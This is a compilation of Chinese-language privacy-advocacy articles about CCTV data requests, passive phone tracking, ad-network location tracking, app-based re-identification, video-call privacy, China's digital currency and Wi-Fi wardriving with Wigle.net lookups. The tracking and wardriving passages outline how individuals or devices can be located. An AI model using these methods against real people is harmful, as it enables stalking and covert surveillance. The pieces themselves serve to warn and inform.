完成整个旅程后，我找到了几乎所有连接监视摄像机的建筑物的联系方式，并向他们发送了电子邮件，以说明我“正在根据DPA条款以要求获取有关我的信息”，描述自己（“穿着小丑服装、拉着四个气球”），并给出了确切的时间、日期和位置。

我要求他们向我提供CCTV监视器拍摄到的影像的副本，然后将原版本删除。对于我找不到电子邮件联系方式的14座建筑物，我亲手写信概述了我的要求。

事实证明人们显然不喜欢被拍摄者要求提供影像记录。

我联系的大多数人都没有回复我，而在回复我的少数人中：有些人要求我提供身份证复印件，有些人要求提供我当日的参考照片，有些人说“时间太长了内容已经过时了”，甚至有些人说向我提供这样的数据是“非法的”，还有些人说我可以去他们的办公室查看数据，并需要出示身份证件……

有人说，他们会给我数据，但前提是我“有能力通过信誉良好的承包商索取”，费用由我承担。

我的影像还被一些地方议会掌握的监视摄像机捕获。其中一家告诉我：只有在发生重大事件时他们才能向警方提供监视数据，或者向代表我的律师提供数据，费用为“ 33英镑录像搜索费、或132英镑录像发布费”。

没有人愿意为我删除数据。

最后，我得到了一些录像和一些屏幕抓图 —— 其中一些违反了数据隐私法，而另一些显然也很难公开担心破坏我自己的隐私，因此对我的脸打码了。

看起来，尽管有大量不同的实体（私人的、商业的、和公共实体）都在收集和存储关于我们的数据，但是很少有人知道如何正确处理数据、也不了解其行为的法律含义。

在大多数情况下（至少以我的经验而言），这意味着您将无法如法律所允许的那样访问自己被拿走的数据。

权利机构隐私国际组织的法务官 Ioannis Kouvakas 解释了这是一个问题的原因："通过CCTV监视摄像机捕获的图像不仅会触发隐私保护，还会触发数据保护问题。这意味着，根据数据保护法，个人有权享有某些权利。例如，至少有权请求访问其数据并获得准确的副本、或纠正或删除其数据的权利。"

这些规则在您的图像被捕获后即可适用 —— 但是被捕获之前呢？

Kouvakas 解释说："有透明度要求：在捕获影像之前必须事先给个人足够的通知，以便他们知道发生了什么。"

再一次，对我来说情况完全相反。在少数几个地方，有迹象表明路人注意了那里有一个闭路电视摄影机，以及如何与管理者取得联系，但是当我接近它们以阅读联系方式的时候，我已经被拍摄到了。

因此，就此而言，我遭遇的每一个数据收集都是非法的。

Kouvakas 说："在捕获图像之前，必须先存在提醒的标志，告诉我这里有CCTV，否则就没有必要开始拍摄我，这是基于同意。"

但是在被拍摄之后，艰难的数据请求过程令人惊讶吗？Kouvakas 说："这并不令我感到惊讶，因为我们正在开展类似的项目，针对数据收集者提出了一系列的投诉，而且困难巨大。"

首先是无休止的来往电子邮件；其次，一些公司说："只要签署这份文件，我们就会为您提供数据"。而那份文件实际上是删除请求！然后他们说："我们刚刚删除了它 —— 您要求我们删除它。"

人权慈善组织 Liberty 的 Hannah Couchman 说："英国有大量的监视活动。"

"可以针对特定个人或整个社区部署不同的监视方法 —— 当然，还有面部识别功能，通过使用IMSI捕获器和手机数据提取等功能，允许当局对您的手机进行黑客攻击，以查明您是否在参与特定的抗议活动。"

- IMSI 捕手就是黄貂鱼，它在全球流行，见《如何应付政府使用黄貂鱼对公民进行的大规模间谍行为？#反监视技术》
- 手机数据提取就是“取证”，见《数字取证正在泛滥：政府可以从你的手机中提取哪些数据？》
- 关于被警察瞄准的人会遭遇什么，见《我被警察折磨至精神崩溃：现在我必须爬起来战斗》

如果这已经听起来像《少数派报告》那样令人担忧，别忘了还有更糟的：“我们知道，现有的闭路电视网络不仅可以进行面部识别，并且，还有他们所说的‘智能技术’，它可以从理论上对人们的行为做出预测。我们看到的监视网络正在不断扩大，我们每天都会陷入其中”，Couchman 说。

- 《“未来是一项方程式”—少数派报告的威胁不是这两年才有的新事物》
- 《数十个城市实验了”少数派报告”中描述的技术》
- 《“社会信用”监视：英国、中国、美国和日本【Viedo】》

大型监视机构会认为，监视可以“遏制犯罪或帮助警察抓捕罪犯”；但是肯定会出现当局和私人公司超越这一用例的广泛问题 —— 就如 Hannah Couchman 所警告的那样，我们已经以越来越快的速度迈向了阴险的侵入性监视时代。

“例如，在苏格兰格拉斯哥，正在研究不支持面部识别的闭路电视摄像机监视器，但它们拥有所谓的‘嫌疑搜索’功能，可以在其中扫描诸如衣服质地之类的关键字，以跟踪和监视您的每一步。”

她说：“我们已经有了工作场所监视之类的东西。从家里开始，Alexa 助手会获取有关你什么时候醒来、是否在刷牙、工作的路线、以及今天的开会地点的数据。在地铁上打开笔记本电脑的人会被地铁上的监视器拍摄到屏幕，等你到了办公室又继续了工作岗位监视的一整套措施……”

- 关于工作场所监视《如何查找您的雇主安装在计算机上的间谍软件，以及如何处理》
- 《你的老板可能是比 Facebook、谷歌更大的老大哥》

当然，有些人根本不关心自己上班路上的一切如何被记录，但是，扩大监视范围的意义远不止于此：数据滥用、对隐私的期望降低、政府出于个人目的使用信息、以及无辜的人们被指控犯有未犯的罪行……

Couchman 认为最坏的情况是不可避免的，但是他说抵抗这些噩梦需要采取具体行动。

“我们必须与人们达成共识，关于我们不想要生活在什么样的社会里”。〇

这里是英国，有 “隐私保护”法案，虽然，显然没用；但中国呢？成为生活在全球第一监视大国的中国人怎么办？

What Happens to Your Image Once It’s Been Caught On CCTV

原文

一系列隐私灾难正在来袭，或许你还没有意识到？ - iYouPort

你应该了解的现实

媒体经常不会说出信息意味着什么，除了某些愚蠢的报道规则之外，还有一些你看不见的利益关系网。以至于它们总是给人一种话说一半的感觉。但作为读者，我们必需能明白那些消息意味着什么，因为这事关我们的权益。

「图」

「图」

⚠ 通过物理设备的跟踪，你可能没有意识到

丹麦公司 Blip Systems 在城市、机场和火车站部署传感器，以帮助理解和分析交通流量；在英国的朴茨茅斯市，2013 年由 VAR Smart CCTV 安装了一个 BlipTrack传感器网络，其收集的数据用于识别“问题区域”并检测不断变化的交通模式，并且该市希望增加更多传感器来识别个人旅程，认为有助于减少通勤时间、燃料消耗和车辆排放；在阿姆斯特丹史基浦机场、纽约肯尼迪机场以及哥本哈根、布鲁塞尔和都柏林等机场，Blip 的传感器都有安装，旨在帮助研究和改善交通流量并了解乘客的习惯。

该公司的移动传感器使用开放式 wifi 和蓝牙连接，在智能手机和平板电脑通过时对其进行被动标记，使用设备的硬件媒体访问控制（MAC）地址，以便在乘客进入机场时跟踪乘客。

在肯尼迪机场，该系统可以帮助告知乘客他们需要等待多长时间，据估计，BlipTracks 每年可覆盖1,950万名乘客，管理最拥挤的终端的公司希望利用这些数据来影响未来的机场设计以提高效率。

最后，在丹麦的奥尔堡市，Blip 的传感器已经安装在步行区，以跟踪游客的行为。该数据据称“旨在帮助衡量、优化和改善市中心的布

局“。

听起来不错？人们的确经常需要了解交通状况，在发现堵塞的情况下缓解等待的焦急。随着手机的覆盖率迅速增大，这类数据驱动的决策已经越来越常见。

但是，请注意：**Blip** 是下一波正在出现的数据分析公司的例子之一，它依赖于物理世界中的跟踪和数据收集，而不是在线。很少有公众认识到这些公司的存在，更少有人意识到他们正在通过公共场所进行跟踪，而完全没有征求你的同意。

警方完全可以随时查看这些数据，只要他们声称“有可疑人员”在某个区域内。想象一下这些数据对哪些情况最危险？政治避难、出逃、示威抗议等，相关参与者或当事人请尽可能不要携带电子设备，或取出电池。

延伸阅读：《//隐身游戏：如何在监视遍地的社会里让自己完全消失//》

「图」

「图」

⚠ 情绪识别技术进入招聘阶段

招聘人员开始将情感识别技术融入用于评估基于视频的工作申请的流程中。总部位于伦敦的初创公司 Human 称，其算法可以将潜在候选人的潜意识面部表情与人格特质相匹配。

然后，它会根据招聘人员指定的特征对结果进行评分。

向联合利华出售其服务的 HireVue 使用 Affectiva 的情感数据库，Affectiva 是一位从事市场研究和广告工作的情感识别专家。该公司认为这项技术有助于“消除招聘中的偏见”。

请注意：目前尚不清楚这些服务收集的数据最终会发生什么变化，用于训练情绪识别算法的数据是否属于数据保护法内的“个人数据”范畴，以及雇主是否继续使用该技术来追踪员工的情绪，以便监控他们的工作。

“消除偏见“的说法简直太虚伪了。目前中国某地区的课堂上已经被安装了类似的表情识别系统，监视洗脑教育的有效性，如果其功能和上

述 HireVue 一致，至少还说明中国当局拥有一个足够庞大的表情数据库。我们需要更多内情。

「图」

「图」

⚠ 你手机上的游戏可能会跟踪你在电视上看到的内容

使用由初创公司 Alphonso 制作的软件，有多达 **1,000** 个游戏、消息和社交应用程序（其中一些针对儿童），它们都能够跟踪用户观看的电视节目，即使游戏并没有打开！

只要应用程序在后台运行，Alphonso 的软件就会在电视广告和节目中使用音频信号来识别用户正在观看的内容。

它还可以关注人们在朋友家中和其他地方看到的广告、通过工作室提供的片段检测电影、并通过与听力应用 Shazam 达成的交易来识别音乐。被查看的信息与 IP 地址相关联，即使没有名子和地址等个人身份信息，也可通过数据代理与更详细的识别特征相匹配！

为广告商收集电视观看数据的 Alphonso 表示，“这些应用程序不收集人类语音，并且在应用程序的描述和隐私政策中明确说明了它们的功能”。该公司表示，用户可以选择退出……

这类数据对广告商来说非常有价值，他们光在美国的电视上就花费了 700 亿美元。他们会允许你简单“退出”吗？

这种事以前也发生过—被称为 Silverpush 的软件—当时引起了联邦贸易委员会的警告和罚款。

请注意：虽然目前还不完全清楚 **Alphonso** 每天能成功收集多少信息，但这些问题也适用于亚马逊和谷歌的联网扬声器设备。这就是为什么我们一直强调：不要使用那些所谓的“智能扬声器”，不要花钱买斯塔西来放在家里，你还想说点儿枕边话吗？

“最愚蠢的人最喜欢智能设备“，请牢记这句流行语。

「图」

「图」

⚠ 使用移动广告网络跟踪某人的位置只需 **1000** 美元

人们通常认为的在线广告形象是“我们是数百万人中的一员”，他们的数据正在由一个大型的远程组织（政府或大公司）进行检查。然而，华盛顿大学的研究发现，任何具备时间、决心和相对较小的 **1,000** 美元预算的人，都可以利用移动广告网络来跟踪特定目标的个人。

完全不需要利用移动广告网络中的 bug，只是重新想象广告购买者的动机和资源，就可以做到。这一实验充分展示了这些网络的故意跟踪功能如何允许相对便宜、并具有高度针对性的间谍活动。

研究人员 Paul Vines，Franzi Roesner 和 Yoshi Kohno 在 ACM 的电子社会隐私研讨会上发表了他们的研究结果，创建了一个移动横幅广告和一个网站，当有人点击广告时，该网站作为登陆页面。他们使用了 10 部 Moto G Android 手机来测试跟踪工作。

“使用这些信息的人不一定就是受利润驱动的大公司。还有可能只是一个资金相对较少，且动机迥然不同的人“，我们曾经一直以来都误会了这点。

1,000 美元是订购广告平台的最低存款，他们没有像许多其他广告平台一样，允许广告买家指定广告出现的位置、在哪个应用程序中、以及哪些唯一电话标识符等。

他们将广告设置为在通话和短信应用 Talkatone 上显示，只要有人运行应用程序位于他们在西雅图 3 平方英里区域范围内的此类网格中指定的位置坐标之一。任何时候只要广告出现，研究人员都会收取 2 美分的费用，并且会收到确认广告在何处、何时以及在哪个电话上展示的详尽信息。

这些信息流使他们能够在 25 英尺内跟踪被测试的手机，延迟时间仅为 6 分钟。七天后，他们可以根据旅行和停止模式轻松识别每个人的工作和家庭住址！

虽然这种策略有点局限性，但相对容易克服，特别是那些已经接近目标的人。

- 家庭虐待者可以从其家庭网络获得配偶的 MAID，然后通过在他或她经常使用的应用中放置广告来实施密切跟踪；
- 当您将手机连接到 Wi-Fi 时，星巴克（或其他公共场合）附近桌上的笔记本电脑可以窃取您的 MAID，或者同事可以在办公

室中执行同样的操作，然后每当您看到他们放置的广告时跟踪就开始了；
- 再或者，广告买方可以使用有效内容广告来收集特定人员的 MAID，例如抗议者，或者可能是敏感应用的用户，然后跟踪这些目标的动作。

请注意：如果没有广告网络的合作来检测和阻止这种有针对性的攻击、或采用加密来保护唯一的电话标识符免于被拦截，则很难禁止这种跟踪。

对于个人而言，可规避的选择是转向不带广告的高级版应用程序，并对自己安装和运行的应用程序更具选择性。

请学会将应用程序视为双向镜像：如果您能看到它们，它们也可以看到你！

「图」

「图」

⚠ "Unroll.me" 会继续出卖你

当用户在 2017 年 4 月发现这家鲜为人知的数据公司 Slice Intelligence 扫描用户的电子邮件收件箱中的匿名数据并将其传递给乘车公司 Uber 时，引发了广泛的争议。

这则消息既说明了匿名数据的力量，也说明了硅谷公司之间复杂的关系，这些关系模糊了他们的数据使用实践。

该报道的开头就是 Unroll.me，这是一项免费服务，可以通过整合订阅电子邮件和简报，取消订阅不受欢迎的列表以及最大限度地减少混乱来帮助人们管理电子邮件。要授予服务访问权限，Gmail，Yahoo！ Mail，Outlook.com，Hotmail，MSN，Windows Live，iCloud 电子邮件和 AOL Mail 的用户可在 Web 上或通过 Unroll.me 应用程序登录。

Slice 于2014年收购了 Unroll.me。现在，该公司的隐私政策称，“我们可能出于任何目的收集、使用、转让、出售和披露非个人信息”，并且该数据可用于“建立匿名市场研究产品和服务”。

然而，很少有用户仔细阅读隐私政策，这也是许多人在“纽约时报”报道他们的数据被使用时感到惊讶和愤怒的原因之一（尽管是匿名

的）。这种愤怒的一个重要部分是，这些数据居然与 **Uber** 这一日益引起争议的公司共享了，因为该公司先前早已出现“隐私失误”，并且与世界各地监管机构有着持续的冲突。

在揭露之后，Unroll.me 首席执行官 Jojo Hedaya 表示“遗憾”，并表示公司将通过其网站、应用程序和常见问题解答以改变其政策传达方式，以便让他们更清楚地了解用户……

请注意：然而，这位 **CEO** 表示无意改变这些政策，这在很大程度上在不受监管的行业中是最常见做法！其中 "Unroll.me" 只是一个非常小的参与者。换句话说就是，我们根本不知道自己被卖给谁了，做了什么用。所以，停止使用它！

「图」

「图」

⚠ 通过手机数据秘密追踪

伦敦最著名的旅游景点之一海德公园（Hyde Park）的游客在皇家公园（Royal Parks）接受了一项试验，通过手机信号进行了秘密追踪，以便在大幅削减资金的情况下分析客流情况。

第三方提供电话跟踪服务是政府资助的一项关注城市更新计划的重点项目，这些数据还能显示来自不同行政区、城镇和城市的人口百分比。

EE 通过本地移动电话天线对游客进行三角测量，并将数据出售给 FCC。

请注意：官方使用网络运营商 **EE** 通过第三方提供的匿名移动电话数据，居然还回顾性地找到了过去 **12** 个月内该公园的所有访客。如果监视地点不是个公园呢，是一个抗议现场，这种追溯跟踪能力将很容易帮助当局抓捕参与者。

延伸阅读：《"//集会参与者有必要了解的基本安全措施//"》

「图」

「图」

⚠ 广告商只需要四个应用程序就可以识别您

法国计算机科学与自动化研究所的一项研究发现，大多数手机用户可以通过他们在智能手机上安装的四个应用程序，就可以被精准识别，随着平台越来越多地与广告商共享应用数据，引发的隐私侵犯问题非常严重。

仅仅一个简单的应用程序也可以显示除了用户名之外的更多内容。只是很多人不知道这些。

除了可以在大型数据集中重新识别用户外，已安装应用程序的配置文件还可以轻松预测用户的生活方式和习惯，包括宗教信仰、社交关系状态、最擅长说哪种语言、感兴趣的国家、以及家庭状况比如是否有孩子，孩子是不是婴儿等等。

> 任意四个应用程序就可以做到，准确率高达 *95%*；如果有已安装的应用程序的完整列表就更牛逼了，识别用户准确率高达 *99%;* 甚至只有两个应用程序就可用于重新识别数据集中的用户，概率为 *0.75*。

这是严重的隐私问题。众所周知 Twitter 和 Facebook 等已经开始与广告商分享应用程序的配置文件，并且由于大量数据泄露事件频发，对用户数据构成了日益严重的威胁。

研究人员指出，Android 设备不需要任何其他权限即可访问设备上已安装应用的完整列表。虽然 Apple 不允许 iOS 开发人员访问所有已安装的应用程序，但平台可以随时获取当前正在运行的应用程序列表，并经常快速扫描它们生成所有已安装应用程序的列表。

请注意：研究人员发现，即使应用程序列表是 **pseudo-anonymous** 的（也就是只知道网络上的 **id** 但不知道本人是谁），并且删除了应用程序名称等标识符，但易于访问的机器学习技术仍然可以确定用户特征并做到精准识别。

「图」

「图」

手机使用数据暴露财富状况

一项新的研究报告称，在发展中国家，有关财富或贫困分布的信息可能就来自某人的手机记录。该研究发表在“科学”杂志上，是在卢旺达完成的。

在非洲的大部分地区，与其他地方的发展中国家一样，难以收集有关贫困的准确统计数据。该研究依赖于数十亿手机数据，包括有关何时拨打、接听电话、以及呼叫时长等详细信息，从而构成算法，以判断贫困程度。

研究人员还研究了发送短信的时间，以及哪些手机覆盖了文本和呼叫，以便大致了解地理位置。

哭穷或炫富很可能不管用了，有了这种算法掌握手机数据的人足以判断你的财力状况。如果你很有钱并且不希望被抢劫的话，小心咯。

「图」

「图」

⚠ 中国利用大规模监视和大数据来遏制社会动荡

美国安全公司 Statfor 称，中国政府一直在建立一个系统来分析过去几年来收集到的大量数据："新的管理系统旨在帮助中国政府提前下手采取行动遏制街头运动"。

在网格化维稳的全面计划之下，每个网格管理员都负责监控许多家庭（有时多达 200 个）。然后，他们将报告汇总到一个巨大的监控数据库中，并与从路边摄像机和网络审查中收集到的数据相结合。

当局可以通过分析这些数据，发现预期的抗议活动的趋势。以决定何时向哪个地区派遣更多的警察，或进行其他政策调整，以促进全面维稳。〇

原文

不止是 Zoom，Google Meet、Microsoft Teams 和 Webex 都不安全

你应该了解的现实自我保护措施-技术技巧以防身

【2020年10月21日存档】使用在线视频会议应用程序时您应该首先知道一些事。

当 Pat Biswanger 的家人由于冠状病毒大流行而改为计划通过在线视频会议应用程序举办他们的复活节聚会时，她的姐姐坚持使用 Microsoft Teams 而不是 Zoom，因为此前看到很多有关 Zoom 的隐私和安全漏洞的不良报道。

Biswanger 回忆说："在这件事上我姐姐很明智，我很高兴听她的"。但她想知道是否所有在线视频会议服务在隐私方面同样有害。她发现 Zoom 很易于使用，但是她仍然不确定哪个平台更安全。

那么这些流行的视频会议平台处理隐私的方式是否有所不同？

当消费者正在大量使用视频会议平台进行商务会议、授课和与家人聚会时，这是一个很重要的问题。

Consumer Reports 评估了当前最大、最知名的视频会议平台的隐私政策。

这些是思科的 Webex；Microsoft 的 Skype 和 Teams；以及 Google 的 Meet、Duo 和 Hangouts。Google 的三项视频会议服务用的是一样的隐私政策，Teams 和 Skype 也共享相同的 Microsoft 隐私政策。

"虽然不同平台的隐私政策存在差异，但总的来说，差异并不很大。" Consumer Reports 数字实验室的隐私研究员 Bill Fitzgerald 分析了这些文件，他说，"从隐私的角度来看，这些选择都不好。"

它们的隐私权政策就已经显示，这三家公司都可以在您参加视频会议时收集您的数据，将其与数据经纪人和其他来源的信息结合起来以建立消费者资料，并有可能利用您的视频去训练他们的监视机器—面部

识别算法。

所有这些寡头公司的公关都声称自己“尊重消费者隐私”。

在评估报告发布后，其中一些公司已经进行了一点点改进。比如 Google 在 Meet 中为主持人提供了要求输入密码才能进入会议的选项。而在此之前，对于 Google 用户而言，很难确保会议不受入侵者的侵害。

但无法指望这些寡头公司来保护您，因为它们的盈利模式就是靠出卖您维持高利润的。

所以，在使用任何视频会议服务时，您应该采取一些步骤来保护自己。

如何在视频聊天中保持私密性

参加视频会议时，您面临着隐私和安全性方面的多种潜在威胁。

一种风险是 Zoombombing 式攻击（乱入轰炸），攻击者通过入侵破坏会议。关于如何在 Zoom 上保护自己的文章很多，但是您必须知道，**Zoom** 不是唯一不安全的东西，在其他同类平台上都会发生同样的事。

您发送的任何信息都可以被构建平台的公司、会议的主持人或管理员、甚至其他参与者收集。然后可以将该信息公开或出售。

这是CR的隐私和安全专家提供的四种策略，以帮助您在电话会议期间尽可能维护个人信息安全。

1、选择。对于初学者，请查看是否可以将这些服务中的任何一项用作“来宾”，以便可以共享尽可能少的信息。

如果您决定注册（也许想要使用更多功能），则可以通过坚持使用单一平台来最大程度地减少数字足迹 —— 跨平台取证的覆盖面越大，您就越危险。同样还有另一个好处：您可以熟悉该服务的隐私和安全功能，并学会更有效地使用这些工具。

2、使用外部隐私工具。本技巧几乎适用于您在网上进行的所有操作。首先，如果您决定创建一个视频会议帐户，请使用专用的一次性电子邮件，该电子邮件不应该被用于其他任何用途，或者至少不能被用于诸如银行，医疗保健、社交媒体帐户等重要敏感的功能。

使用被广泛高度评价的密码管理器也很好。这样至少可以确保您的会议不容易受到 Zoombombing 入侵的影响。

3、假设您正在被监视。其实这不是假设，而是事实。您在会议中所说的任何话或做的任何事都可以记录下来。可以由主持人、管理员或其他任何参与者捕获，或者由具有截屏软件或智能手机的任何人抓取。您需要在心里明确这点。

这对任何您认为私密的通讯工具来说都是如此。

请尽可能关闭相机和麦克风。尤其是您需要注意自己身后的背景中有什么，比如书架上的书、孩子的玩具或艺术品等等，其中就包含着您的私密个人信息，请考虑遮住任何背景。

请随时记得，有关您的视频可能会被泄露给公众，或者最终与更多人共享。

4、能使用的音频的时候就不要视频，能使用打字的时候就不要音频。这应该是为原则。许多会议根本不需要视频。在这种情况下，拿起电话与同事交谈或组织一小群人使用老式的电话会议，是最好的。

平台应该做什么

测试人员深入研究这些视频会议平台的隐私政策就会发现，它们都没有提供有关公司收集何种数据或如何使用这些数据的详细信息。而且，由于思科、谷歌和微软都在提供许多产品，因此通常很难说出哪些策略真正适用于视频会议。

隐私政策在细节上有所不同。但是，总的来说，所有三家公司都保留自己存储有关通话持续时间的信息的权利、包括储存用户登录信息以及每个人的**IP**地址。

他们可以将此信息与从数据经纪人那里获得的相关个人详细信息结合起来，以创建完整的个人资料全景图。

他们还可以访问音频，例如，当主持人命令会议转录并改善语音转换效果时。视频录像还可以被用来训练面部识别算法。（监视摄像机以前就这么干过）

当研究人员联系这3家公司时，只获得了极少的新信息。思科通过电子邮件发送了PDF，然后研究人员在其网站上查找了一个特别难找到的位置。与隐私政策相比，此处提供了关于公司收集哪种数据的更清

晰的依据。

所有这三家公司都宣称，他们仅在参与者点击“记录”时才录制视频或生成副本，并且这些内容不直接用于广告。鬼知道是不是这样。

隐私和技术政策总监 Justin Brookman 指出，这些回复是通过给记者的电子邮件发送的，简单说是公关，而不是公开的承诺，也就是说并非允许任何消费者都可以在线查找。

他说：“我们更有可能信任隐私政策，因为它们是可由监管机构强制执行的公共承诺。这些科技公司侵犯隐私的黑历史令人惊讶，它们都以广泛且令人不安的方式收集、共享和使用私密的个人数据。”〇

It’s Not Just Zoom. Google Meet, Microsoft Teams, and Webex Have Privacy Issues, Too.

原文

中国着眼于"自己的加密货币"以维护政府对全民私生活的控制 - iYouPort

你应该了解的现实

这件事他们已经嚷嚷了6年，现在正式启动了

「图」

「图」

《纽约时报》的一篇文章讨论了 Facebook 关于天秤座的宣布如何加速了中国创造“自己的国家数字货币”的努力。(关于《为什么必须杀死天秤座》)

这不是新鲜事。

中国早在2014年就开始考虑创建 “国家数字货币”，当时中国人民银行创建了一个加密货币研究小组，甚至他们的央行行长周小川都在公开考虑创建国家数字货币。

在下面看到更多分析和报道：

- 《中国的反乌托邦进度》
- 《反现金的中国战讯为什么值得警惕？》
- 《恐怖的反现金之战》
- 《当权者为什么害怕加密货币？》
- 更多见 “监视区块链和反现金之战”

只是在中国政府于2017年价格飙升期间打击比特币采矿业务时，进展似乎放缓了。

中国以拥有典型大规模的监视状态而闻名，众所周知，通过中国银行系统进行的交易可以并且将由政府进行直接监视。

但是，该国两个主要的移动支付平台支付宝和微信支付在技术层面上

是私人公司，因此它们被要求与政府合作以时刻监视公民的交易。

为了说明这些平台的规模，支付宝声称每秒处理多达 256,000 次付款，相比下 VISA 为每秒 65,000 次。

所谓的国家加密货币可以使政府直接观察公民的交易，也就是拿走你全部生活的内幕。

中国政府认识到了分散化货币的力量，它赋权给个人以远离老大哥的眼睛。

中国央行支付结算司副司长穆长春在网上演讲中强调，更多的货币竞争可以使人民币合法化，他们称之为“货币主权”。

他说：

如果天秤座人人都接受并成为一种广泛使用的支付工具，那么一段时间后，它很可能会发展成为一种全球性的，超主权的货币。我们需要提前计划以保护我们的货币主权……

有趣的是，中国政府声称将把 “隐私” 换成 “可控制的匿名性”，这意味着政府允许“隐私”，正如中国央行的穆先生所解释的那样。

但是，你知道 “可控” 是什么意思 —— 就如您已经了解 **“VPN可控”** 的概念，这是一样的东西。

穆说：

“只要你不犯法，不想进行那种不希望被人知道的购买，我们仍然希望保护你的隐私 ……”

太可笑了。就如斯诺登揭露后国安局的自辨：“如果你不干什么坏事，就不用担心监控” —— 当权者的通用逻辑。请时刻记得，究竟什么是“好事”、什么是“坏事”，永远是他们说了算的。

- 《活动家如何被当局纳入“极端主义监视黑名单” 被折磨至精神崩溃》
- 《活动家和异议人士被视为“恐怖分子”这种事有着悠久的历史》（英文）

总之，⚠国家发行的电子货币将帮助中国政府更多地了解公民的花钱方式，比之前要多出很多很多。

自 Facebook 推出 Libra 计划以来，还不到半年的时间，这家科技巨头进军金融业的尝试就遭遇了一连串的质疑。

- 在这里看到天秤座有什么问题《杀死天秤座在萌芽状态》

对北京而言，Libra 提供了另一个推动人民币数字化的迫切动机。中国在其境内屏蔽 Facebook 平台，但中国领导人认为，Libra有可能开启一个新的世界金融体系，一个可以撼动政府和央行传统权威的体系——— 中国的也包括在内。

“如果 Libra 被大家所接受，变成一个通行的支付工具，那么再过一段时间它会发展成一个世界级的超主权货币”，在中国央行担任要职的穆长春在近期一次在线讲座中说，“为了保护自己的货币主权和法币地位，我们需要未雨绸缪。”

建立"国家虚拟货币"的想法并不新鲜。英国、新加坡和加拿大的央行行长们就如何将数字代币融入金融体系进行了实验。欧洲中央银行(**European Central Bank**)董事会成员也称，"Libra 是唤醒银行电子支付努力的一记警钟"。

北京一直希望人民币在国际贸易和金融中得到更多使用。如果Libra的货币跨境流通方便，那么它将成为许多国家的货币选择，尤其是那些经济不稳定的国家。

在7月的一次讲话中，前央行行长周小川说，美元的主导地位已经侵蚀了那些“弱势”货币国家的经济，他警告说，Libra和其他未来的货币可能有一天也会这样做。

“我们需要提前做好准备，使人民币成为强势货币，”他表示。

中国领导人也希望能有一个SWIFT以外的选择。SWIFT是西方主导的电讯网络，帮助资金跨境和跨银行流动。西方政府此前曾限制伊朗的SWIFT的接入，以惩罚其核计划。

数字化的人民币不太可能在一夜之间成为全球最受欢迎的新货币。中国严格监管人民币兑换其他货币，以保持汇率稳定，类似的限制措施可能也会约束“加密人民币”。〇

China Eyeing Own Cryptocurrency to Maintain Financial Control

原文

为什么你不应该使用Wi-Fi - iyouport

为什么你应该了解的现实自我保护措施-技术技巧以防身

【2019年3月28日存档】书呆子哥们一直在嚷着：小心你的Wi-Fi！ 他们是对的。Wi-Fi真的比较可怕，它在所有暴露你的秘密的手段中排在前位。 不，并不需要黑客技术，本文演示一个小的追踪游戏，任何人都可以这么玩! 最重要的是，希望能介绍给您关于如何保护自己。

如果我告诉你，你使用 MiFi 或 WiFi tether 时人们就可以跟踪你的位置，你会感到惊讶吗？自2000年以来它们一直存在。但在具体解释这活怎么做之前，我们先了解一下无线网络，Wardriving，SSID，MAC地址和热点。

即使每个人都使用Wi-Fi，还是有很多东西需要解释，它不仅仅是一个无线网络。首先，我们有您连接的网络名称或SSID（服务集标识符）。即使这个名称不一定是唯一的，它有时也可以揭示有关它所属的人或公司的私密信息。

BSSID（基本服务集标识符）是接入点的 MAC 地址。MAC地址（媒体访问控制地址）是网络设备用于在底层网络上标识自身的唯一标识符。就像 SSID 用于向最终用户标识自己一样，硬件使用 MAC 地址或 BSSID 来处理网络其余部分中的路由。即使连接到WiFi热点的人通常不会看到该地址，但这对您的连接至关重要。

当您在手机上启动热点以便其他设备使用相同的互联网连接时，称之为“网络共享”。当您在外出时启动手机上的 WiFi 连接时，您可能会看到“ 张三的 iPhone ”或默认的“ AndroidAP ” 等示例弹出。

大约在2000年，一位名叫 Peter Shipley 的工程师创造了一个术语：wardriving（战争驾驶，也称驾驶攻击），指的是故意搜索当地寻找Wi-Fi 无线网络信号的做法。通过在他的汽车上安装WiFI天线并使用GPS 接收器，他能够快速准确地在区域中绘制出无线网络信号。

它是一种携带 WLAN 终端在移动中寻找到可连接 WLAN 网络的活

动，有人也把这看成是一种信息化时代的寻宝形式。在因特网上，有的网页甚至已经公开了地图，并在上面标注了可以捕捉到 **WLAN** 信号的场所和企业的名称，甚至是当地的经纬度。

战争驾驶可以分为扫描方式和监听方式两种。扫描方式类似于端口扫描，在一个频段上向周围发出连接信号，然后检测，周围是否有 WLAN 网络返回响应，从而确定 WLAN 的存在。监听方式是使无线终端工作于特殊模式下，仅接受周围发出的WLAN信号，而不主动发出任何信息。通过截取到的WLAN工作信号确定WLAN的存在。

WLAN是一种发散形的网络，在没有密码认证保护下的 WLAN 是对周围开放的。这给人们带来一种新的连接到网络的方式，只要你有一个WLAN终端，通过战争驾驶，或者是享用他人经过战争驾驶得来的网络信息，自由的连接到网络。这里的自由，不单单是便捷，也可能意味着你不需要为连接这样的网络支付费用。

由于技术上的不完善，战争驾驶行为很难被确切的认定为违法，因为在现有的软硬件环境下，某些战争驾驶行为实际是在无意间发生的。

这种做法还有一些鲜为人知的变体，比如“ Warcycling ”（使用自行车），“ Warwalking ”（徒步）或“ Wardroning ”（使用无人机）。

自21世纪初以来，Wigle.net一直是一个惊人的资源，用于收集有关世界各地不同无线热点的信息。用户可以在网站上注册并上传热点数据，如 GPS 坐标，SSID，MAC 地址和发现的热点上使用的加密类型。通过获取有关不同热点加密的信息 WiGLE 尝试通过运行无线网络来创建对安全性需求的认识。

当您“可以”通过匿名帐户访问Wigle.net时，这个搜索功能需要您进行身份验证。不过你不需要提供真实的电子邮件地址，只需要一些独特的东西（见下图）。

第一个OSINT示例在英国。De Vere Grand Connaught Rooms（伦敦大皇后街61–65号，WC2B 5DA GB）会议中心是 SANS 学院举办许多活动的地方。我们怎么知道的？就是 WiFi 网络告诉我们的。

以下是该地区的普通 Google 地图。

通过搜索该地址查看Wigle.net网站中的同一区域，得到下图。

哇哦，看起来很繁忙。每个紫色圆点都代表某人的设备。人口密集区域通常看起来就像这样，在非常小的区域内能看到数百或数千个WiFi网络标记。当然，这也使得实际使用这些数据更具挑战性。

要看清楚附带的信息就需要放大每个紫色点。在上图中，我们将放大左侧标有“1”的矩形。

还可以继续放大。不过可以在这个级别上看到一些有趣的无线网络名称。检查上面图像中的那三个点，它们附近有1,2和3：

1—sansmay2017–2017年5月在该地点举行的SANS培训活动的通用无线网络。

2—sanssept2017–2017年9月在该地点举行的SANS培训活动的通用无线网络。

3—FOR508—FOR508 SANS类的Wirless网络，当它从这个位置的某个点运行时。

